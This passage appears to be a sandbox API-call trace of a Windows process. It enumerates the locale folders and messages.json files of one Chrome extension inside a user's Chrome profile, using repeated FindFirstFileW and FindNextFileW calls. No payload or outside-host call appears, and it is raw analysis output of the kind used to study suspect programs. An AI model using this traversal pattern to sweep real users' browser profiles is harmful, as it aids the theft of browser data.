ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.828] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.828] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.828] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.830] GetProcessHeap () returned 0x550000 [0277.830] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.830] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0277.830] GetProcessHeap () returned 0x550000 [0277.830] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.830] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.830] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.830] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.830] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.830] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.830] GetProcessHeap () returned 0x550000 [0277.830] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.830] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0277.830] GetProcessHeap () returned 0x550000 [0277.830] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.830] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.832] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.832] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.832] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.832] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.832] GetProcessHeap () returned 0x550000 [0277.832] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.832] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1 [0277.832] GetProcessHeap () returned 0x550000 [0277.832] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.832] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.833] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.833] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.833] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.833] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.833] GetProcessHeap () returned 0x550000 [0277.833] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.833] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0277.833] GetProcessHeap () returned 0x550000 [0277.833] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.833] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.834] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.834] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.834] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.834] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.834] GetProcessHeap () returned 0x550000 [0277.834] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.834] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0277.834] GetProcessHeap () returned 0x550000 [0277.834] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.834] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.835] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.835] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.835] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.835] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.835] GetProcessHeap () returned 0x550000 [0277.835] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.835] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0277.835] GetProcessHeap () returned 0x550000 [0277.835] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.836] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.836] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.836] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.836] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.836] GetProcessHeap () returned 0x550000 [0277.836] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.837] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0277.837] GetProcessHeap () returned 0x550000 [0277.837] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.837] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.837] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.837] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.837] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.837] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.838] GetProcessHeap () returned 0x550000 [0277.838] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.838] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sw", cAlternateFileName="")) returned 1 [0277.838] GetProcessHeap () returned 0x550000 [0277.838] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.838] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 